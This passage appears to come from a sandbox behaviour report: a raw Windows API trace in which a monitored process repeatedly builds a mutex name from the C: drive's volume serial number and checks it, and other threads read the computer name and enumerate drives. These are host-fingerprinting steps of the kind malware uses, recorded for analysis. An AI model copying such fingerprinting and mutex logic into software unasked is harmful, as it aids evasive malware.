dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0274.321] Sleep (dwMilliseconds=0x3e8) [0275.397] GetProcessHeap () returned 0x550000 [0275.397] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a538 [0275.397] GetProcessHeap () returned 0x550000 [0275.397] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a510 [0275.398] GetProcessHeap () returned 0x550000 [0275.398] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x64e620 [0275.398] GetProcessHeap () returned 0x550000 [0275.398] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x3752090 [0275.398] GetProcessHeap () returned 0x550000 [0275.398] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3752090 | out: hHeap=0x550000) returned 1 [0275.398] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a510, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0275.398] GetProcessHeap () returned 0x550000 [0275.398] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x64e620 | out: hHeap=0x550000) returned 1 [0275.398] GetProcessHeap () returned 0x550000 [0275.398] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a538 | out: hHeap=0x550000) returned 1 [0275.398] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0275.398] GetProcessHeap () returned 0x550000 [0275.398] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a510 | out: hHeap=0x550000) returned 1 [0275.398] GetProcessHeap () returned 0x550000 [0275.398] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0275.398] GetProcessHeap () returned 0x550000 [0275.398] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0275.398] GetProcessHeap () returned 0x550000 [0275.398] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0275.399] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x178 [0275.399] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0x0) returned 0x102 [0275.399] CloseHandle (hObject=0x178) returned 1 [0275.399] GetProcessHeap () returned 0x550000 [0275.399] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0275.399] GetProcessHeap () returned 0x550000 [0275.399] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0275.399] Sleep (dwMilliseconds=0x3e8) [0276.525] GetProcessHeap () returned 0x550000 [0276.525] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a510 [0276.525] GetProcessHeap () returned 0x550000 [0276.525] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a538 [0276.525] GetProcessHeap () returned 0x550000 [0276.525] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x64e620 [0276.525] GetProcessHeap () returned 0x550000 [0276.525] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x3752090 [0276.526] GetProcessHeap () returned 0x550000 [0276.526] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3752090 | out: hHeap=0x550000) returned 1 [0276.526] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a538, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0276.526] GetProcessHeap () returned 0x550000 [0276.526] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x64e620 | out: hHeap=0x550000) returned 1 [0276.526] GetProcessHeap () returned 0x550000 [0276.526] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a510 | out: hHeap=0x550000) returned 1 [0276.526] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0276.526] GetProcessHeap () returned 0x550000 [0276.526] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a538 | out: hHeap=0x550000) returned 1 [0276.526] GetProcessHeap () returned 0x550000 [0276.526] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0276.526] GetProcessHeap () returned 0x550000 [0276.526] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0276.526] GetProcessHeap () returned 0x550000 [0276.526] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0276.526] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1b0 [0276.526] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x0) returned 0x102 [0276.526] CloseHandle (hObject=0x1b0) returned 1 [0276.526] GetProcessHeap () returned 0x550000 [0276.527] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0276.527] GetProcessHeap () returned 0x550000 [0276.527] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0276.527] Sleep (dwMilliseconds=0x3e8) [0277.569] GetProcessHeap () returned 0x550000 [0277.569] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a538 [0277.569] GetProcessHeap () returned 0x550000 [0277.569] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a510 [0277.569] GetProcessHeap () returned 0x550000 [0277.569] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x64e620 [0277.569] GetProcessHeap () returned 0x550000 [0277.569] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x3752090 [0277.569] GetProcessHeap () returned 0x550000 [0277.569] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3752090 | out: hHeap=0x550000) returned 1 [0277.569] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a510, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0277.569] GetProcessHeap () returned 0x550000 [0277.569] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x64e620 | out: hHeap=0x550000) returned 1 [0277.569] GetProcessHeap () returned 0x550000 [0277.569] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a538 | out: hHeap=0x550000) returned 1 [0277.569] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0277.569] GetProcessHeap () returned 0x550000 [0277.569] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a510 | out: hHeap=0x550000) returned 1 [0277.569] GetProcessHeap () returned 0x550000 [0277.569] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0277.569] GetProcessHeap () returned 0x550000 [0277.569] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0277.569] GetProcessHeap () returned 0x550000 [0277.569] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0277.569] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0xcc [0277.570] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0x0) returned 0x102 [0277.570] CloseHandle (hObject=0xcc) returned 1 [0277.570] GetProcessHeap () returned 0x550000 [0277.570] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0277.570] GetProcessHeap () returned 0x550000 [0277.570] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0277.570] Sleep (dwMilliseconds=0x3e8) [0278.579] GetProcessHeap () returned 0x550000 [0278.579] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a510 [0278.579] GetProcessHeap () returned 0x550000 [0278.579] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a538 [0278.579] GetProcessHeap () returned 0x550000 [0278.579] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x64e620 [0278.579] GetProcessHeap () returned 0x550000 [0278.580] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x3752090 [0278.580] GetProcessHeap () returned 0x550000 [0278.580] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3752090 | out: hHeap=0x550000) returned 1 [0278.580] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a538, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0278.580] GetProcessHeap () returned 0x550000 [0278.580] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x64e620 | out: hHeap=0x550000) returned 1 [0278.580] GetProcessHeap () returned 0x550000 [0278.580] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a510 | out: hHeap=0x550000) returned 1 [0278.580] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0278.580] GetProcessHeap () returned 0x550000 [0278.580] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a538 | out: hHeap=0x550000) returned 1 [0278.580] GetProcessHeap () returned 0x550000 [0278.580] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0278.580] GetProcessHeap () returned 0x550000 [0278.580] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0278.580] GetProcessHeap () returned 0x550000 [0278.580] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0278.580] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0xc0 [0278.580] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0x0) returned 0x102 [0278.581] CloseHandle (hObject=0xc0) returned 1 [0278.581] GetProcessHeap () returned 0x550000 [0278.581] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0278.581] GetProcessHeap () returned 0x550000 [0278.581] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0278.581] Sleep (dwMilliseconds=0x3e8) [0279.601] GetProcessHeap () returned 0x550000 [0279.601] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a538 [0279.601] GetProcessHeap () returned 0x550000 [0279.601] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a510 [0279.601] GetProcessHeap () returned 0x550000 [0279.601] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x64e620 [0279.601] GetProcessHeap () returned 0x550000 [0279.601] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x3752090 [0279.601] GetProcessHeap () returned 0x550000 [0279.601] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3752090 | out: hHeap=0x550000) returned 1 [0279.601] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a510, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0279.601] GetProcessHeap () returned 0x550000 [0279.601] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x64e620 | out: hHeap=0x550000) returned 1 [0279.601] GetProcessHeap () returned 0x550000 [0279.601] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a538 | out: hHeap=0x550000) returned 1 [0279.601] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0279.601] GetProcessHeap () returned 0x550000 [0279.602] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a510 | out: hHeap=0x550000) returned 1 [0279.602] GetProcessHeap () returned 0x550000 [0279.602] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0279.602] GetProcessHeap () returned 0x550000 [0279.602] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0279.602] GetProcessHeap () returned 0x550000 [0279.602] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0279.602] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0xc4 [0279.602] WaitForSingleObject (hHandle=0xc4, dwMilliseconds=0x0) returned 0x102 [0279.602] CloseHandle (hObject=0xc4) returned 1 [0279.602] GetProcessHeap () returned 0x550000 [0279.602] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0279.602] GetProcessHeap () returned 0x550000 [0279.602] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0279.602] Sleep (dwMilliseconds=0x3e8) [0280.658] GetProcessHeap () returned 0x550000 [0280.658] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a358 [0280.658] GetProcessHeap () returned 0x550000 [0280.658] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a510 [0280.658] GetProcessHeap () returned 0x550000 [0280.658] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a538 [0280.658] GetProcessHeap () returned 0x550000 [0280.658] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x3752090 [0280.658] GetProcessHeap () returned 0x550000 [0280.658] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3752090 | out: hHeap=0x550000) returned 1 [0280.658] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a510, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0280.658] GetProcessHeap () returned 0x550000 [0280.658] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a538 | out: hHeap=0x550000) returned 1 [0280.658] GetProcessHeap () returned 0x550000 [0280.658] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a358 | out: hHeap=0x550000) returned 1 [0280.658] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0280.658] GetProcessHeap () returned 0x550000 [0280.658] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a510 | out: hHeap=0x550000) returned 1 [0280.658] GetProcessHeap () returned 0x550000 [0280.658] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0280.658] GetProcessHeap () returned 0x550000 [0280.658] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0280.659] GetProcessHeap () returned 0x550000 [0280.659] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0280.659] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x190 [0280.659] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x0) returned 0x102 [0280.659] CloseHandle (hObject=0x190) returned 1 [0280.659] GetProcessHeap () returned 0x550000 [0280.659] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0280.659] GetProcessHeap () returned 0x550000 [0280.659] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0280.659] Sleep (dwMilliseconds=0x3e8) Thread: id = 74 os_tid = 0x634 [0194.598] GetProcessHeap () returned 0x550000 [0194.598] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x21a) returned 0x572430 [0194.598] GetProcessHeap () returned 0x550000 [0194.598] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x28) returned 0x56c7d8 [0194.598] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x120 [0194.598] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x124 [0194.598] GetComputerNameW (in: lpBuffer=0x572440, nSize=0x26dfb18 | out: lpBuffer="XDUWTFONO", nSize=0x26dfb18) returned 1 [0194.599] GetProcessHeap () returned 0x550000 [0194.599] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x26) returned 0x56c5b8 [0194.599] CloseHandle (hObject=0x124) returned 1 [0194.599] CloseHandle (hObject=0x120) returned 1 [0194.599] GetProcessHeap () returned 0x550000 [0194.599] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56c7d8 | out: hHeap=0x550000) returned 1 [0194.599] GetProcessHeap () returned 0x550000 [0194.599] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56c5b8 | out: hHeap=0x550000) returned 1 [0194.599] GetProcessHeap () returned 0x550000 [0194.599] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572430 | out: hHeap=0x550000) returned 1 [0194.599] GetProcessHeap () returned 0x550000 [0194.599] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56cd58 | out: hHeap=0x550000) returned 1 Thread: id = 75 os_tid = 0x1c4 [0194.601] GetLogicalDrives () returned 0x4 [0194.601] GetProcessHeap () returned 0x550000 [0194.601] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643e8 [0194.601] GetProcessHeap () returned 0x550000 [0194.601] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x28) returned 0x56c7d8 [0194.601] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x120 [0194.601] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x124 [0194.601] GetProcessHeap () returned 0x550000 [0194.601] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a0d8 [0194.601] GetProcessHeap () returned 0x550000 [0194.601] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a218 [0194.601] GetProcessHeap () returned 0x550000 [0194.601] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a240 [0194.601] GetProcessHeap () returned 0x550000 [0194.601] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x572430 [0194.601] GetProcessHeap () returned 0x550000 [0194.601] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572430 | out: hHeap=0x550000) returned 1 [0194.601] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a218, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0194.601] GetProcessHeap () returned 0x550000 [0194.601] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a240 | out: hHeap=0x550000) returned 1 [0194.601] GetProcessHeap () returned 0x550000 [0194.601] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a0d8 | out: hHeap=0x550000) returned 1 [0194.601] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x286fddc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x286fddc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0194.602] GetProcessHeap () returned 0x550000 [0194.602] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a218 | out: hHeap=0x550000) returned 1 [0194.602] GetProcessHeap () returned 0x550000 [0194.602] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x561a50 [0194.602] GetProcessHeap () returned 0x550000 [0194.602] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x561a68 [0194.602] GetProcessHeap () returned 0x550000 [0194.602] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x561a80 [0194.602] GetProcessHeap () returned 0x550000 [0194.602] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x572430 [0194.602] GetProcessHeap () returned 0x550000 [0194.602] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x561a98 [0194.602] htonl (hostlong=0x9c354b42) returned 0x424b359c [0194.602] QueryPerformanceCounter (in: lpPerformanceCount=0x286fcd0 | out: lpPerformanceCount=0x286fcd0*=12182016408) returned 1 [0194.602] GetTickCount () returned 0x113c8cc [0194.603] GetCurrentProcessId () returned 0x7e8 [0194.603] GetCurrentThreadId () returned 0x1c4 [0194.603] GetLocalTime (in: lpSystemTime=0x286fcb8 | out: lpSystemTime=0x286fcb8*(wYear=0x7e4, wMonth=0x9, wDayOfWeek=0x3, wDay=0x1e, wHour=0x10, wMinute=0x24, wSecond=0x7, wMilliseconds=0x23e)) [0194.603] SystemTimeToFileTime (in: lpSystemTime=0x286fcb8, lpFileTime=0x286fcc8 | out: lpFileTime=0x286fcc8) returned 1 [0194.603] QueryPerformanceCounter (in: lpPerformanceCount=0x286fcd0 | out: lpPerformanceCount=0x286fcd0*=12182045722) returned 1 [0194.603] GetProcessHeap () returned 0x550000 [0194.603] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x28) returned 0x56cd58 [0194.603] GetProcessHeap () returned 0x550000 [0194.604] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x5724e0 [0194.604] GetProcessHeap () returned 0x550000 [0194.604] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x4) returned 0x56cd88 [0194.604] GetProcessHeap () returned 0x550000 [0194.604] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x14) returned 0x56f890 [0194.604] GetProcessHeap () returned 0x550000 [0194.604] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x5724f8 [0194.604] GetProcessHeap () returned 0x550000 [0194.604] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x80) returned 0x5728c8 [0194.604] GetProcessHeap () returned 0x550000 [0194.604] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x572510 [0194.604] GetProcessHeap () returned 0x550000 [0194.604] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x82) returned 0x572950 [0194.604] GetProcessHeap () returned 0x550000 [0194.604] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x572528 [0194.604] GetProcessHeap () returned 0x550000 [0194.604] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x4) returned 0x56cdf8 [0194.604] GetProcessHeap () returned 0x550000 [0194.604] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x572540 [0194.604] GetProcessHeap () returned 0x550000 [0194.604] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x80) returned 0x5729e0 [0194.604] GetProcessHeap () returned 0x550000 [0194.604] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x572558 [0194.604] GetProcessHeap () returned 0x550000 [0194.604] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x2) returned 0x56e540 [0194.605] GetProcessHeap () returned 0x550000 [0194.605] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x4) returned 0x55f218 [0194.605] GetProcessHeap () returned 0x550000 [0194.605] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x572570 [0194.605] GetProcessHeap () returned 0x550000 [0194.605] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x80) returned 0x572a68 [0194.605] GetProcessHeap () returned 0x550000 [0194.605] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x572588 [0194.605] GetProcessHeap () returned 0x550000 [0194.605] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x4) returned 0x55efa0 [0194.605] GetProcessHeap () returned 0x550000 [0194.605] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x56e540, Size=0x82) returned 0x572af0 [0194.605] GetProcessHeap () returned 0x550000 [0194.605] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x55efa0, Size=0x100) returned 0x572b80 [0194.605] GetProcessHeap () returned 0x550000 [0194.605] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x5725a0 [0194.605] GetProcessHeap () returned 0x550000 [0194.605] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x82) returned 0x572c88 [0194.605] GetProcessHeap () returned 0x550000 [0194.605] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x5725b8 [0194.605] GetProcessHeap () returned 0x550000 [0194.605] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x82) returned 0x572d18 [0194.605] GetProcessHeap () returned 0x550000 [0194.605] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x572af0, Size=0x104) returned 0x572da8 [0194.605] GetProcessHeap () returned 0x550000 [0194.606] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x572b80, Size=0x200) returned 0x572eb8 [0194.607] GetProcessHeap () returned 0x550000 [0194.607] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55f218 | out: hHeap=0x550000) returned 1 [0194.607] GetProcessHeap () returned 0x550000 [0194.607] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572eb8 | out: hHeap=0x550000) returned 1 [0194.607] GetProcessHeap () returned 0x550000 [0194.607] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572588 | out: hHeap=0x550000) returned 1 [0194.607] GetProcessHeap () returned 0x550000 [0194.607] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5729e0 | out: hHeap=0x550000) returned 1 [0194.607] GetProcessHeap () returned 0x550000 [0194.607] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572540 | out: hHeap=0x550000) returned 1 [0194.607] GetProcessHeap () returned 0x550000 [0194.607] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572a68 | out: hHeap=0x550000) returned 1 